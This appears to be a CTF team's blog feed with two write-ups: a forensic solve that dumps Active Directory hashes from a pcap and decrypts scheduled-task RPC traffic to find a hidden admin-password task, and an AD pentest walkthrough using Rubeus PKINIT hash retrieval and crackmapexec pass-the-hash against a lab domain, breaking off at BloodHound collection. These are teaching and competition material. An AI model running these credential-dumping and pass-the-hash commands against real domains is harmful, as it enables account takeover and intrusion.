Jekyll2023-01-22T23:14:48+00:00https://tipi-hack.github.io/feed.xmlTipi’Hack CTF teamYet another 🇫🇷 CTF team of casual players, sharing their writeups!tipi_hackInsomni’Hack Teaser 2023 - Autopsy2023-01-22T00:00:00+00:002023-01-22T00:00:00+00:00https://tipi-hack.github.io/2023/01/22/insomnihack-teaser-autopsy<p>Category: forensic, windows, realistic</p>
<h2 id="challenge-description">Challenge description</h2>
<h3 id="autopsy">Autopsy</h3>
<blockquote>
<p>A malicious actor has broken our Active Directory server and we suspect an active persistent access in it. Unfortunately, the attacker was able to erase the server logs. Fortunately, we have monitored all malicious actions made on our network. Do you think you can find out how he could have kept access to our server?
File: <a href="/assets/autopsy-ab20b6bccf3bb8afc0149c47280e84cf948bef9bb56843cd0d72ce38046c9c8e.pcap">autopsy.pcap</a></p>
</blockquote>
<h2 id="challenge-resolution">Challenge resolution</h2>
<h3 id="pcap-analysis-and-secrets-extraction">PCAP analysis and secrets extraction</h3>
<p>By analyzing the PCAP, we can discover two types of communication:</p>
<ul>
<li>HTTP communication using WEBDAV in clear text</li>
<li>DCE/RPC calls related to scheduled tasks. These calls are encrypted, so we need a password or a hash to decrypt the traffic.</li>
</ul>
<p>If we take a deeper look to the WEBDAV browsed URL, we can identify that the malicious actor was very interested by the <code class="language-plaintext highlighter-rouge">NTDS.dit</code>, <code class="language-plaintext highlighter-rouge">SECURITY</code> and <code class="language-plaintext highlighter-rouge">SYSTEM</code> files. If the attacker was able to retrieve some files, the Wireshark “Export Objects -> HTTP” feature should allow us to extract them easily.</p>
<p>A simple order-by-size allows us to extract all three files:
<img src="/assets/ins_teaser23-autopsy-webdav-files.png" alt="webdav file extraction" /></p>
<p>Then, it is possible to use <code class="language-plaintext highlighter-rouge">secretsdump</code> from impacket to extract domain secrets:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ secretsdump.py -ntds ntds.dit -security SECURITY -system SYSTEM local
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Target system bootKey: 0x805486c875e5e6992d3d2afeb72c6999
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:230c30b271c9[...]8806d91056
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:c9c59098f8f050ad394b7369b76986f1
[*] DPAPI_SYSTEM
dpapi_machinekey:0xf886ff495f92f889f3580bed92143aa26bdc300d
dpapi_userkey:0x3ea213645556520d1de3a38beaa29bf6dce646ee
[*] NL$KM
0000 AE 82 9A 9B 3F 82 34 D5 AE 77 E9 23 FC 42 EF A8 ....?.4..w.#.B..
0010 D2 63 69 6E E4 08 FB BE BF CB DC 3A 4D FD 08 0E .cin.......:M...
0020 7B F7 C3 EF E0 00 90 AA 04 9A 87 AB 65 BB A8 06 {...........e...
0030 F4 01 4A 85 4C FE 13 39 A5 23 B9 51 F8 35 42 07 ..J.L..9.#.Q.5B.
NL$KM:ae829a9b3f8234d5ae77e923fc42efa8d263696ee408fbbebfcbdc3a4dfd080e7bf7c3efe00090aa049a87ab65bba806f4014a854cfe1339a523b951f8354207
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d550dd0de3e2e8c1633034fd19049cef
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf7c9b980dd43ae8f651d02fe20ac915:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPERMAN$:1000:aad3b435b51404eeaad3b435b51404ee:c9c59098f8f050ad394b7369b76986f1:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5e696d38da69b2597fd1039bea113486:::
inscorp.com\adm-drp:1103:aad3b435b51404eeaad3b435b51404ee:5c4dbe6a8a44446f8d2899ff08ea14f2:::
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:dc8af90d000bf2fe011b5637e46840f59efd7a9f36c974e6c92e098e3c40b247
Administrator:aes128-cts-hmac-sha1-96:2a3e3f78faa3f28b6ef4bac2273b305f
Administrator:des-cbc-md5:3862c83b865d80da
SUPERMAN$:aes256-cts-hmac-sha1-96:a7396d86f611e874622bd6c2b4ae742cbe4ed2f418e9b885ef37061fa398112a
SUPERMAN$:aes128-cts-hmac-sha1-96:e5a8b63dcc276332a466f9502f548273
SUPERMAN$:des-cbc-md5:3bb910319efe2a16
krbtgt:aes256-cts-hmac-sha1-96:e072886952ce6c9cc5ddd09e2191b807c003dd7a2cabf407d4ab4d7ae9993d03
krbtgt:aes128-cts-hmac-sha1-96:a14abd37bd7767441e20166f032f94cf
krbtgt:des-cbc-md5:54409104e0263243
inscorp.com\adm-drp:aes256-cts-hmac-sha1-96:6102c3cfc067ca5c989c40a7a34b4166536904e646704ada56b25fa0c07000d5
inscorp.com\adm-drp:aes128-cts-hmac-sha1-96:c7e5d32f0b9e7da9d4c8cabac07b9277
inscorp.com\adm-drp:des-cbc-md5:70ad4cdf7326dc62
[*] Cleaning up...
</code></pre></div></div>
<p>Now we have secrets from the domain, but can we use them to decrypt DCE/RPC communications?</p>
<h3 id="the-dcerpc-decryption-problem">The DCE/RPC decryption problem</h3>
<p>One of our teammates, <a href="https://twitter.com/cnotin/">@cnotin</a>, recently wrote a blog post about <a href="https://medium.com/tenable-techblog/decrypt-encrypted-stub-data-in-wireshark-deb132c076e7">decrypting Kerberos/NTLM “encrypted stub data” in Wireshark</a> (He also presented a workshop at Sharkfest 22 about it, <a href="https://www.youtube.com/watch?v=5O1tKxEa1iY">it’s on Youtube</a>), in which he explains how to decrypt Kerberos-encrypted communications using a keytab file, but here we have NTLMSSP-encrypted communication. He explains that it should be possible, as per the <a href="https://wiki.wireshark.org/NTLMSSP.md">Wireshark NTLMSSP documentation</a>:</p>
<blockquote>
<p>The “NT Password” setting can contain a password used to decrypt NTLM exchanges: both the NTLM challenge/response and further protocol payloads (like DCE/RPC that may be encrypted with keys derived from the NTLM authentication.
Just input the user’s password in the field. According to the source-code, only ASCII passwords are supported (due to the simple method for Unicode encoding). It doesn’t seem to support NTLM hashes so make sure to use the cleartext password.</p>
</blockquote>
<p>Here comes the problem: a clear-text ASCII password is needed, but all we have is an NTLM hash. We tried to crack the hash without success, was it even possible? By taking a look at the <a href="https://gitlab.com/wireshark/wireshark/-/blob/b71d87ed273fbadb92842d90ede49981ae1213e1/epan/dissectors/packet-ntlmssp.c#L512">wireshark code related to NTLMSSP decrypting</a>, we realize that the hash is calculated by Wireshark itself before decoding the communication. A dirty solution that worked, was to recompile Wireshark by adding the following code, on line 518, and recompile it:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Copy our hash directly in the variable</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">nt_password_hash</span><span class="p">,</span> <span class="s">"</span><span class="se">\x5c\x4d\xbe\x6a\x8a\x44\x44\x6f\x8d\x28\x99\xff\x08\xea\x14\xf2</span><span class="s">"</span><span class="p">,</span> <span class="n">NTLMSSP_KEY_LEN</span><span class="p">);</span>
</code></pre></div></div>
<p>But could it be done properly? The answer is yes! When loading decryption key (aka NTLM hash), Wireshark is also looking at the Kerberos keytab file, eventually provided, using <code class="language-plaintext highlighter-rouge">read_keytab_file_from_preferences()</code>, and then iterates over each key to load its <code class="language-plaintext highlighter-rouge">keyvalue</code>. Why? Because, if the Kerberos encryption type is 23 (rc4-hmac), then the HT hash is directly equal to the RC4 encryption key, stored within the keytab. If our reading of the code is correct, it is possible to decrypt the DCE/RPC communication using a keytab: let’s give it a try!</p>
<p>The first step is to forge a keytab using the previously retrieved hash. On Linux, <code class="language-plaintext highlighter-rouge">ktutil</code> can be used:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ktutil
ktutil: addent -p adm-drp@inscorp.com -k 1 -key -e rc4-hmac
Key for adm-drp@inscorp.com (hex): 5c4dbe6a8a44446f8d2899ff08ea14f2
ktutil: wkt ins.keytab
ktutil: q
</code></pre></div></div>
<p>We can check that our keytab contains the inserted key with etype 23:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ file ins.keytab
ins.keytab: Kerberos Keytab file, realm=inscorp.com, principal=adm-drp/, type=91085, date=Wed May 19 11:41:52 2060, kvno=23
</code></pre></div></div>
<p>Perfect, now the keytab can be loaded in Wireshark under KRB5 options:
<img src="/assets/ins_teaser23-autopsy-kerberos-keytab.png" alt="krb5 load keytab" /></p>
<p>Finally, just filter on the <code class="language-plaintext highlighter-rouge">dcerpc</code> packets, and look for interesting calls, such as <code class="language-plaintext highlighter-rouge">SchRpcRegisterTask</code>. The previously encrypted data is now decrypted:
<img src="/assets/ins_teaser23-autopsy-decrypted-stub.png" alt="decrypted stub" /></p>
<p>All we have to do is copy the XML of the scheduled task, and get the flag:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0" encoding="UTF-16"?></span>
<span class="nt"><Task</span> <span class="na">version=</span><span class="s">"1.2"</span> <span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/windows/2004/02/mit/task"</span><span class="nt">></span>
<span class="nt"><Triggers></span>
<span class="nt"><CalendarTrigger></span>
<span class="nt"><StartBoundary></span>2015-07-15T20:35:13.2757294<span class="nt"></StartBoundary></span>
<span class="nt"><Enabled></span>true<span class="nt"></Enabled></span>
<span class="nt"><ScheduleByDay></span>
<span class="nt"><DaysInterval></span>1<span class="nt"></DaysInterval></span>
<span class="nt"></ScheduleByDay></span>
<span class="nt"></CalendarTrigger></span>
<span class="nt"></Triggers></span>
<span class="nt"><Principals></span>
<span class="nt"><Principal</span> <span class="na">id=</span><span class="s">"LocalSystem"</span><span class="nt">></span>
<span class="nt"><UserId></span>S-1-5-18<span class="nt"></UserId></span>
<span class="nt"><RunLevel></span>HighestAvailable<span class="nt"></RunLevel></span>
<span class="nt"></Principal></span>
<span class="nt"></Principals></span>
<span class="nt"><Settings></span>
<span class="nt"><MultipleInstancesPolicy></span>IgnoreNew<span class="nt"></MultipleInstancesPolicy></span>
<span class="nt"><DisallowStartIfOnBatteries></span>false<span class="nt"></DisallowStartIfOnBatteries></span>
<span class="nt"><StopIfGoingOnBatteries></span>false<span class="nt"></StopIfGoingOnBatteries></span>
<span class="nt"><AllowHardTerminate></span>true<span class="nt"></AllowHardTerminate></span>
<span class="nt"><RunOnlyIfNetworkAvailable></span>false<span class="nt"></RunOnlyIfNetworkAvailable></span>
<span class="nt"><IdleSettings></span>
<span class="nt"><StopOnIdleEnd></span>true<span class="nt"></StopOnIdleEnd></span>
<span class="nt"><RestartOnIdle></span>false<span class="nt"></RestartOnIdle></span>
<span class="nt"></IdleSettings></span>
<span class="nt"><AllowStartOnDemand></span>true<span class="nt"></AllowStartOnDemand></span>
<span class="nt"><Enabled></span>true<span class="nt"></Enabled></span>
<span class="nt"><Hidden></span>true<span class="nt"></Hidden></span>
<span class="nt"><RunOnlyIfIdle></span>false<span class="nt"></RunOnlyIfIdle></span>
<span class="nt"><WakeToRun></span>false<span class="nt"></WakeToRun></span>
<span class="nt"><ExecutionTimeLimit></span>P3D<span class="nt"></ExecutionTimeLimit></span>
<span class="nt"><Priority></span>7<span class="nt"></Priority></span>
<span class="nt"></Settings></span>
<span class="nt"><Actions</span> <span class="na">Context=</span><span class="s">"LocalSystem"</span><span class="nt">></span>
<span class="nt"><Exec></span>
<span class="nt"><Command></span>cmd.exe<span class="nt"></Command></span>
<span class="nt"><Arguments></span>/C net user Administrator INS{N1c3_j0b_Dud3_y0u_F0und_m3!}<span class="nt"></Arguments></span>
<span class="nt"></Exec></span>
<span class="nt"></Actions></span>
<span class="nt"></Task></span>
</code></pre></div></div>
<p>The flag was <code class="language-plaintext highlighter-rouge">INS{N1c3_j0b_Dud3_y0u_F0und_m3!}</code>.</p>tipi_hackCategory: forensic, windows, realisticBreizhCTF 2022 - Bons baisers de Russie 1 & 22022-04-01T00:00:00+00:002022-04-01T00:00:00+00:00https://tipi-hack.github.io/2022/04/01/bzhctf-bons-baisers-de-russie<p>Category: AD, Pentest</p>
<h2 id="challenge-description">Challenge description</h2>
<h3 id="bons-baisers-de-russie-12">Bons baisers de Russie 1/2:</h3>
<blockquote>
<p>Le site de vente de tongues était la façade d’un groupe d’APT permettant de fournir les accès VPN à ses utilisateurs ! Utilisez cet accès VPN afin de compromettre, dans un premier temps, le PC ! La donnée à récupérer est sur le bureau d’un des utilisateurs…</p>
</blockquote>
<h3 id="bons-baisers-de-russie--22">Bons baisers de Russie : 2/2</h3>
<blockquote>
<p>Avec les accès obtenus sur le PC, vous devriez pouvoir compromettre le contrôleur de domaine ! Récuperez la donnée sur le bureau de l’administrateur du domaine !</p>
<p>Auteur: Kaluche</p>
<p>Note : Le range à attaquer une fois connecté au VPN est 10.0.20.0/24</p>
<p>Format: BZHCTF{}</p>
</blockquote>
<h2 id="challenge-resolution">Challenge resolution</h2>
<h3 id="tldr">TL;DR</h3>
<p>All the difficulty stands in the poor compatibility of tools with unicode characters, the attack path is pretty simple:</p>
<ol>
<li>Port scan, identify a web server on the domain controller serving 3 PFX files without password</li>
<li>Use PKINIT authentication and UnPAC-the-hash to retrieve NTLM hashes (Rubeus)</li>
<li>Use BloodHound.py with previously retrieved hashes and identify an attack path to the PC1</li>
<li>Use “Валерий” owned account to reset “Зинаида” account password and connect to PC1 as admin and get first flag</li>
<li>Dump PC1 lsass memory and get “Дарья” account password</li>
<li>Use Certipy to enumerate ADCS template and identify that the Professor account (“Дарья”) is allowed to request certificates with arbitrary SAN</li>
<li>Request a PFX for the Administrator user (“администратор” in russian) and replay step 2 to get their hash</li>
<li>Pass the hash to access DC1 and get second flag</li>
</ol>
<h3 id="first-part">First part</h3>
<p>Once connected on the VPN, we scan the target range <code class="language-plaintext highlighter-rouge">10.0.20.0/24</code> as stated in the challenge description. Here is the nmap result:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Nmap scan report for 10.0.20.11
Host is up (0.0098s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Important information for CONTI USERS
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-04-01 21:18:42Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: CONTI.RU0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.CONTI.RU
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.CONTI.RU
| Issuer: commonName=CONTI-DC1-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-03-25T13:39:16
| Not valid after: 2023-03-25T13:39:16
| MD5: 9f7a 5b87 8195 0974 c23e b834 b0c1 c683
|_SHA-1: cb33 3e80 a78e 389c fa3d beb9 4642 34c9 f5b9 87ce
|_ssl-date: 2022-04-01T21:20:20+00:00; -1h00m03s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: CONTI.RU0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.CONTI.RU
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.CONTI.RU
| Issuer: commonName=CONTI-DC1-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-03-25T13:39:16
| Not valid after: 2023-03-25T13:39:16
| MD5: 9f7a 5b87 8195 0974 c23e b834 b0c1 c683
|_SHA-1: cb33 3e80 a78e 389c fa3d beb9 4642 34c9 f5b9 87ce
|_ssl-date: 2022-04-01T21:20:20+00:00; -1h00m03s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: CONTI.RU0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.CONTI.RU
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.CONTI.RU
| Issuer: commonName=CONTI-DC1-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-03-25T13:39:16
| Not valid after: 2023-03-25T13:39:16
| MD5: 9f7a 5b87 8195 0974 c23e b834 b0c1 c683
|_SHA-1: cb33 3e80 a78e 389c fa3d beb9 4642 34c9 f5b9 87ce
|_ssl-date: 2022-04-01T21:20:20+00:00; -1h00m03s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: CONTI.RU0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.CONTI.RU
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.CONTI.RU
| Issuer: commonName=CONTI-DC1-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-03-25T13:39:16
| Not valid after: 2023-03-25T13:39:16
| MD5: 9f7a 5b87 8195 0974 c23e b834 b0c1 c683
|_SHA-1: cb33 3e80 a78e 389c fa3d beb9 4642 34c9 f5b9 87ce
|_ssl-date: 2022-04-01T21:20:20+00:00; -1h00m03s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC1.CONTI.RU
| Issuer: commonName=DC1.CONTI.RU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-03-24T10:22:49
| Not valid after: 2022-09-23T10:22:49
| MD5: f601 2ff9 783f e954 87f2 f1d9 639a 5941
|_SHA-1: 3eed 7641 f9f3 9b04 b4d5 ec21 0722 4125 d8cf e778
|_ssl-date: 2022-04-01T21:20:20+00:00; -1h00m03s from scanner time.
| rdp-ntlm-info:
| Target_Name: CONTI
| NetBIOS_Domain_Name: CONTI
| NetBIOS_Computer_Name: DC1
| DNS_Domain_Name: CONTI.RU
| DNS_Computer_Name: DC1.CONTI.RU
| DNS_Tree_Name: CONTI.RU
| Product_Version: 10.0.20348
|_ System_Time: 2022-04-01T21:19:41+00:00
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
[...]
Host script results:
|_clock-skew: mean: -1h00m02s, deviation: 0s, median: -1h00m03s
| smb2-time:
| date: 2022-04-01T21:19:44
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
[...]
Nmap scan report for 10.0.20.19
Host is up (0.0020s latency).
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-04-01T21:20:20+00:00; -1h00m03s from scanner time.
| ssl-cert: Subject: commonName=PC1.CONTI.RU
| Issuer: commonName=PC1.CONTI.RU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-03-26T16:00:19
| Not valid after: 2022-09-25T16:00:19
| MD5: aa4f 137c d2fc c497 c42c 76c0 aad1 51fa
|_SHA-1: 5629 08aa d587 d041 6fe8 d23a ba75 4ec9 488c 278a
| rdp-ntlm-info:
| Target_Name: CONTI
| NetBIOS_Domain_Name: CONTI
| NetBIOS_Computer_Name: PC1
| DNS_Domain_Name: CONTI.RU
| DNS_Computer_Name: PC1.CONTI.RU
| DNS_Tree_Name: CONTI.RU
| Product_Version: 10.0.19041
|_ System_Time: 2022-04-01T21:19:41+00:00
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
[...]
</code></pre></div></div>
<p>We have 2 computers within the same <code class="language-plaintext highlighter-rouge">CONTI.RU</code> Active Directory domain:</p>
<ul>
<li>a domain controller <code class="language-plaintext highlighter-rouge">DC1.CONTI.RU</code> at <strong>10.0.20.11</strong> with the ADCS role enabled</li>
<li>a domain-joined computer <code class="language-plaintext highlighter-rouge">PC1.CONTI.RU</code> at <strong>10.0.20.19</strong></li>
</ul>
<p>By heading towards the domain controller web site on port TCP/80, it is possible to download 3 unprotected PFXs for 3 different users:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">Наистина</code></li>
<li><code class="language-plaintext highlighter-rouge">Вячеслав</code></li>
<li><code class="language-plaintext highlighter-rouge">Валерий</code></li>
</ul>
<p>These PFX files contain certificates with their associated private key allowing to authenticate on behalf of those users on the <code class="language-plaintext highlighter-rouge">CONTI.RU</code> domain.</p>
<p>The first step is to get the Alternate Name from the certificates:
<img src="/assets/breizhctf-22-pfx-details.png" alt="PFX details" /></p>
<p>Then, we tried to use @_dirkjan’s <a href="https://github.com/dirkjanm/PKINITtools">PKINITTools</a> to get a TGT via PKINIT, but the tool failed to handle unicode characters correctly.</p>
<p>Using <code class="language-plaintext highlighter-rouge">Rubeus</code> <code class="language-plaintext highlighter-rouge">asktgt</code> command, we can retrieve a TGT and fetch the NTLM hash of the 3 accounts with <code class="language-plaintext highlighter-rouge">/getcredentials</code>. Note that the PowerShell console replaces unicode characters by <code class="language-plaintext highlighter-rouge">??????</code> but it works like a charm:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PS C:\Users\user\Downloads> ./Rubeus.exe asktgt /user:????????????? /certificate:?????????????.pfx /domain:conti.ru /dc:10.0.20.11 /createnetonly:C:\Windows\System32\cmd.exe /getcredentials
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/ v2.0.2
[*] Action: Ask TGT
[*] Showing process : False
[*] Username : AL9SDSYT
[*] Domain : EDDZ0POS
[*] Password : WKQYD994
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 4944
[+] LUID : 0x33dbab
[*] Using PKINIT with etype rc4_hmac and subject: CN=?????
[*] Building AS-REQ (w/ PKINIT preauth) for: 'conti.ru\?????????????'
[*] Target LUID : 3398571
[*] Using domain controller: 10.0.20.11:88
[X] KRB-ERROR (37) : KRB_AP_ERR_SKEW
</code></pre></div></div>
<p>The error <code class="language-plaintext highlighter-rouge">KRB_AP_ERR_SKEW</code> indicates that we have a time drift with the DC: we need to change time of our client to comply with the server. Fortunatly, the domain controller indicates its time in the Kerberos exchange:</p>
<p><img src="/assets/breizhctf-22-kerberos-skew.png" alt="Kerberos SKEW" /></p>
<p>Let’s try again with clock aligned:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\user\Downloads> ./Rubeus.exe asktgt /user:???????? /certificate:????????.pfx /domain:conti.ru /dc:10.0.20.11 /createnetonly:C:\Windows\System32\cmd.exe /getcredentials
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/ v2.0.2
[*] Action: Ask TGT
[*] Showing process : False
[*] Username : 8C6NPBIX
[*] Domain : T78KN4RS
[*] Password : KTK21ESA
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 5128
[+] LUID : 0x343283
[*] Using PKINIT with etype rc4_hmac and subject: CN=?????
[*] Building AS-REQ (w/ PKINIT preauth) for: 'conti.ru\????????'
[*] Target LUID : 3420803
[*] Using domain controller: 10.0.20.11:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGTjCCBkqgAwIBBaEDAgEWooIFXTCCBVlhggVVMIIFUaADAgEFoQobCENPTlRJLlJVoh0wG6ADAgEC
oRQwEhsGa3JidGd0Gwhjb250aS5ydaOCBR0wggUZoAMCARKhAwIBAqKCBQsEggUHRzsczbSM/Q4KLi0/
3EGc3dTPdCJkND8ThMqGyvrQ9qQTLVNcCMqvs+hqIwxkrR7piDwJYHknzF25WtLWdcpErbsLOzze1lKK
kPgHsextNyVOQHKhO1+Sm4Ry1u0Aa619rMfU4I/UQ3uplGcals34BnKtx0mVULJZokoAeWG7TsxZwQeL
+oWW03xl718h095MCnamgIE0UigHg1iUz2/Md6b2cNuypCytPdo2Cr+iuO4SB53RxPapTxni9624qYyx
GjHlOVegOaQPntNYZfvmvl1v015fLiNsU5ss/DyaLF5K1Xo1Qkz3eoA26YsaTGpg9wGuW5wEWHmjq6Er
h/IpUmea0hRqPR0yKcYDeVa4YsNo7Fc2G5JuBtX5MjSV6f6dQ0PcSni6mFcxT3H/Gi91q7I1gK7Nl4kw
[...]
Akcg3UyFBaoaYessGLmwqEnyNe7UeAQdmB0LKiwSlL6WqTxgbyM0MiLE5lk2biEuW6uz4dl3lQ7nWmqy
KrhgdxNTCZXekQeRlhrzctYyjFfo20NYTYDzCnIuCHahdkVpVrCqBTKswU9QKjiOScGApEdgoPIUUtc3
FEV3wVJL7Nv0iKMtDgz7MVGh/eoq4ObBo6Z/cxY0xZMTz0bzTErSVI3CcwaxkGzktBRKWj4YSKqCl/sG
DFA9CUngRPD+etUaE2JiqHS/CgTRaworwLPAcHyOMbY7Q/kTzRjBvrF6nF9a6IzAnl0JIbryI34TWrX7
C9DW9Go6RniORoq6R4Lko4HcMIHZoAMCAQCigdEEgc59gcswgciggcUwgcIwgb+gGzAZoAMCARehEgQQ
LfNiidKACxOqykFrOkoURKEKGwhDT05USS5SVaInMCWgAwIBAaEeMBwbGtCQ0JTQnNCY0J3QmNCh0KLQ
oNCQ0KLQntCgowcDBQBA4QAApREYDzIwMjIwNDAyMDIwNjQ4WqYRGA8yMDIyMDQwMjEyMDY0OFqnERgP
MjAyMjA0MDkwMjA2NDhaqAobCENPTlRJLlJVqR0wG6ADAgECoRQwEhsGa3JidGd0Gwhjb250aS5ydQ==
[*] Target LUID: 0x343283
[+] Ticket successfully imported! ServiceName : krbtgt/conti.ru
ServiceRealm : CONTI.RU
UserName : ????????
UserRealm : CONTI.RU
StartTime : 02/04/2022 02:06:48
EndTime : 02/04/2022 12:06:48
RenewTill : 09/04/2022 02:06:48
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : LfNiidKACxOqykFrOkoURA==
ASREP (key) : 25975C2EA613F124361E4B6BD72D644B
[*] Getting credentials using U2U CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : EE91709B90200C5685533AB93888CCCD
</code></pre></div></div>
<p>It works! We are able to retrieve 3 NTLM hashes for 3 users in <code class="language-plaintext highlighter-rouge">CONTI.RU</code> domain:</p>
<table>
<thead>
<tr>
<th>User reference</th>
<th>SamAccountName</th>
<th>NTLM</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>Наистина</td>
<td>EE91709B90200C5685533AB93888CCCD</td>
</tr>
<tr>
<td>B</td>
<td>Вячеслав</td>
<td>78DD51AEF64338AD248FF80B25849C44</td>
</tr>
<tr>
<td>C</td>
<td>Валерий</td>
<td>BE5C60EC1E9ED48B1ACB5C87D555C6E2</td>
</tr>
</tbody>
</table>
<p>We can now gather information from the domain via different tools (smbclient, rpcclient, cme, …) and perform a BloodHound collection to search for privilege escalation paths.</p>
<p>Domain users enumeration with user C:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ crackmapexec smb 10.0.20.11 -u Валерий -H 'BE5C60EC1E9ED48B1ACB5C87D555C6E2' --users
CONTI.RU\Администратор Встроенная учетная запись администратора компьютера/домена
CONTI.RU\Гость Встроенная учетная запись для доступа гостей к компьютеру или домену
CONTI.RU\krbtgt Учетная запись службы KDC
CONTI.RU\Алексей HR
CONTI.RU\Альберт Negotiates ransom with companies, creates darknet blogs
CONTI.RU\Анна works on cryptolocker, decrypts data for victims
CONTI.RU\Артур Boss 2
CONTI.RU\Вадим Negotiates ransom with companies, creates darknet blogs
CONTI.RU\Валерий top hacker
CONTI.RU\Виктор sysadmin, oversees botnets
CONTI.RU\Виолетта works on cryptolocker, decrypts data for victims
CONTI.RU\Вячеслав Hacker, works as intermediary between the group and the victims
CONTI.RU\Галрй HR / Legal
CONTI.RU\Григорий Sysadmin
CONTI.RU\Дарья Negotiates ransom with companies, creates darknet blogs
CONTI.RU\Денис Hacker, manager
CONTI.RU\Елизавета works on cryptolocker, decrypts data for victims
CONTI.RU\Зинаида Sysadmin
CONTI.RU\Илья works on cryptolocker, decrypts data for victims
CONTI.RU\Карина HR
CONTI.RU\Клавдия sysadmin, oversees botnets
CONTI.RU\Кльия technical manager, QA, side projects (blockhain, hackers' social network)
CONTI.RU\Кристина Alla Witte, the Trickbot developer
CONTI.RU\Ксения HR
CONTI.RU\Лариса Sysadmin
CONTI.RU\Наистина hacker
CONTI.RU\Наталья Boss 1
CONTI.RU\Пётр HR
CONTI.RU\Федор Developer
CONTI.RU\Феттаерт HR
CONTI.RU\Ярослав Developers' teamlead / OSINT research
</code></pre></div></div>
<p><a href="https://github.com/fox-it/BloodHound.py">Bloodhound.py</a> data collection with user C:</p>
